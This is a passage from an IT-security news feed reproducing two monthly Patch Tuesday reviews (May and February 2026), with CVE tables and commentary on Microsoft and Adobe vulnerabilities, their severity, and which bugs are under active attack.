  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40369"><span>CVE-2026-40369</span></a></td>
  <td width="256" class="xl73">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34332"><span>CVE-2026-34332</span></a></td>
  <td width="256" class="xl73">Windows Kernel-Mode
  Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34339"><span>CVE-2026-34339</span></a></td>
  <td width="256" class="xl73">Windows Lightweight
  Directory Access Protocol (LDAP) Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34341"><span>CVE-2026-34341</span></a></td>
  <td width="256" class="xl73">Windows Link-Layer
  Discovery Protocol (LLDP) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33838"><span>CVE-2026-33838</span></a></td>
  <td width="256" class="xl73">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34342"><span>CVE-2026-34342</span></a></td>
  <td width="256" class="xl73">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41095"><span>CVE-2026-41095</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34340"><span>CVE-2026-34340</span></a></td>
  <td width="256" class="xl73">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40398"><span>CVE-2026-40398</span></a></td>
  <td width="256" class="xl73">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21530"><span>CVE-2026-21530</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32170"><span>CVE-2026-32170</span></a></td>
  <td width="256" class="xl73">Windows Rich Text Edit
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40410"><span>CVE-2026-40410</span></a></td>
  <td width="256" class="xl73">Windows SMB Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35415"><span>CVE-2026-35415</span></a></td>
  <td width="256" class="xl73">Windows Storage Spaces
  Controller Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34350"><span>CVE-2026-34350</span></a></td>
  <td width="256" class="xl73">Windows Storport
  Miniport Driver Denial of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40405"><span>CVE-2026-40405</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40414"><span>CVE-2026-40414</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40401"><span>CVE-2026-40401</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40413"><span>CVE-2026-40413</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35422"><span>CVE-2026-35422</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Driver
  Security Feature Bypass Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34351"><span>CVE-2026-34351</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40399"><span>CVE-2026-40399</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34334"><span>CVE-2026-34334</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40406"><span>CVE-2026-40406</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP
  Information Disclosure Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33837"><span>CVE-2026-33837</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Local
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><span>CVE-2026-40415</span></a></td>
  <td width="256" class="xl73">Windows TCP/IP Remote
  Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42825"><span>CVE-2026-42825</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34338"><span>CVE-2026-34338</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40382"><span>CVE-2026-40382</span></a></td>
  <td width="256" class="xl73">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40380"><span>CVE-2026-40380</span></a></td>
  <td width="256" class="xl73">Windows Volume Manager
  Extension Driver Remote Code Execution Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40408"><span>CVE-2026-40408</span></a></td>
  <td width="256" class="xl73">Windows WAN ARP Driver
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34333"><span>CVE-2026-34333</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34347"><span>CVE-2026-34347</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35417"><span>CVE-2026-35417</span></a></td>
  <td width="256" class="xl73">Windows Win32k
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42891"><span>CVE-2026-42891</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35429"><span>CVE-2026-35429</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41107"><span>CVE-2026-41107</span></a></td>
  <td width="256" class="xl73">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl71">Moderate</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40416"><span>CVE-2026-40416</span></a></td>
  <td width="256" class="xl73">Microsoft
  Edge (Chromium-based) for Android Spoofing Vulnerability</td>
  <td class="xl72">Low</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, there are quite a few scary-looking bugs (including a CVSS 10!), but there’s no action for the end user as Microsoft has already mitigated these bugs and is just now documenting them. There’s also this month’s crop of Office bugs where the Preview Pane is an attack vector. However, the bug in Office for Android does not have the Preview Pane vector; it’s simple open and own. The bug in the WiFi driver needs a network adjacent attacker. The SharePoint bug requires authentication, but anyone with site privileges has the authentication needed. The bug in SSO Plugin for Jira &amp; Confluence should really be called an authentication bypass, since it allows an unauthenticated attacker to gain access to a system.</p><p class="">Looking at the other code execution bugs, most are of the open and own variety as expected. The bug in Dynamic 365 (On Prem) requires high privileges. The Message Queueing bug requires an adjacent attacker. The bug in SQL Server requires authentication, but as usual, patching won’t be straightforward. Finally, there’s a bug in the kernel that leads to code execution. Most kernel bugs are privilege escalations, but this one could allow code execution if an attacker sends specially crafted NVMe over Fabrics (NVMe‑oF) response messages during the connection handshake process that contains an invalid header length value. Neat.</p><p class="">As usual, the vast majority of the Microsoft release fixes Elevation of Privilege (EoP) bugs. Also as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. There are also a few bugs that just state the attacker could “gain ELEVATED privileges.” How obtuse. The bugs in Azure allow an attacker to access data otherwise hidden from them. The Edge bug allows threat actors to elevate to the privileges of the running application. The bug in Visual Studio allows attackers to get permissions associated with the MCP Server’s managed identity. Finally, there are a couple of sandbox escapes, too, which are always useful.</p><p class="">This month's update includes six Security Feature Bypass vulnerabilities. The most severe is in the Azure SDK for Java (CVSS 9.1). An attacker over the network can bypass the integrity protection provided by authentication tags on encrypted data, effectively manipulating encrypted input in a way that slips past integrity checks during decryption.  Close behind is the bypass affecting the GitHub Copilot integration in Visual Studio Code (CWE-74). This one requires a user interaction, but it allows an attacker to circumvent the path validation safeguards that normally control which files Copilot is permitted to modify. The other Visual Studio Code bypass involves cross-site scripting, improper link resolution, and information exposure triggered when a user opens or views a maliciously crafted notebook.  On the Windows networking side there are two bypasses. The first hits the Windows TCP/IP driver via an authentication bypass using an alternate channel. The other impacts the Windows Filtering Platform through improper access control, allowing a local, low-privileged attacker to bypass FQDN-based network security rules. Finally, there’s a Secure Boot bypass that, you guessed it, bypasses secure boot features.</p><p class="">Moving on to the Information Disclosure bugs fixed this month, we have 15 different CVEs. As usual, the majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The bug in Power Automate could expose data marked “Sensitive” within Power Automate Desktop flows. One of the Word bugs could disclose NLTM hashes. The bug in Edge could disclose your cookies, which seems rude. The bug in Visual Studio could expose file path information. Finally, there’s a bug in Telnet for Windows 11 that leaks information being used by Telnet at the time. I didn’t even realize Windows 11 still had a telnet client.</p><p class="">The May release contains 10 spoofing bugs (plus the ones already addressed by Microsoft). The bug in Azure Machine Learning Notebooks vulnerability requires user interaction, but it could expose info through the Azure ML web interface to the attacker. There’s a cluster of fixes for Microsoft's mobile Office suite on Android. Excel, Word, and PowerPoint for Android all carry spoofing flaws rooted in improper access control. Two Copilot products are also affected by spoofing vulns. The M365 Copilot for Desktop has no details provided. The M365 Copilot for Android variant requires low privileges and producing only limited impact on confidentiality and integrity. Microsoft Teams for Android rounds out the mobile app spoofing bugs. Three Edge bugs close things out, all involving misrepresentation of information in the browser UI. </p><p class="">There are two Tampering bugs in this month’s release. The one in .NET Core allows threat actors to write files to an affected system. The other is in Outlook for iOS and manifests as a command injection bug.</p><p class="">There are eight DoS bugs in the May release, but as always, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting from a practical standpoint are two TCP/IP bugs that allow a low-privilege Hyper-V guest to crash the host. Both are triggered from the adjacent network. On the broader network-exposure side, the ASP.NET Core bug is a straightforward infinite loop condition — an unauthenticated attacker sends a crafted request over the network and the server stops responding.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">Assuming I survive Pwn2Own Berlin (which is looking iffy at the moment), I’ll return on June 9th on what will hopefully be a smaller release than this one. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
